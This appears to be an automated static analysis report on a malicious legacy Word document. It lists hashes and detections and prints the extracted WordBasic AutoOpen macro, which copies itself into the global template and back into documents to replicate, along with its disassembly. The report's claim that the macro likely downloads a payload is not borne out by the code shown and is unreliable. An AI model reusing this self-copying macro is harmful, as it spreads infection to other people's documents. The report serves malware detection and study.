Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71125d1eedb2a42f…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-05-09 17:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1de74d9ba4e7bc9aaf42eba2e6a90106 SHA-1: 3227e2276b9c0481d2fe6dfbbf1c2613c44dae14 SHA-256: 71125d1eedb2a42f13ce07cb5b013d64f72c07c035b5ecdf3f02ed16fa365b66
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro named 'AutoopeN'. This macro is designed to copy itself, indicating a potential attempt to establish persistence or prepare for further execution. The presence of this macro and the 'OLE_LEGACY_WORDBASIC_AUTOEXEC' heuristic strongly suggest malicious intent, likely to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-60 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-60
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1340 bytes
SHA-256: 1132916303742951d2a4d30ec7bb6220e87987545b12b1f1dc354239e0a5d748
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoopeN"
Public Sub MAIN()
Dim a$
Dim b$
On Error Resume Next: a$ = WordBasic.[FileName$]() + ":AutoopeN"
b$ = "Global:aUTOOPEn": WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoopeN", b$
WordBasic.MacroCopy b$, a$
End Sub

' Processing file: /opt/analyzer/scan_staging/e8a64cef5e5f44bb80a8ccedb7b28241.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/AutoopeN - 1187 bytes
' Line #0:
' 	FuncDefn (Public Sub MAIN())
' Line #1:
' 	Dim 
' 	VarDefn a
' Line #2:
' 	Dim 
' 	VarDefn B
' Line #3:
' 	OnError (Resume Next) 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoopeN"
' 	Add 
' 	St a$ 
' Line #4:
' 	LitStr 0x000F "Global:aUTOOPEn"
' 	St B$ 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoopeN"
' 	Add 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #5:
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	EndSub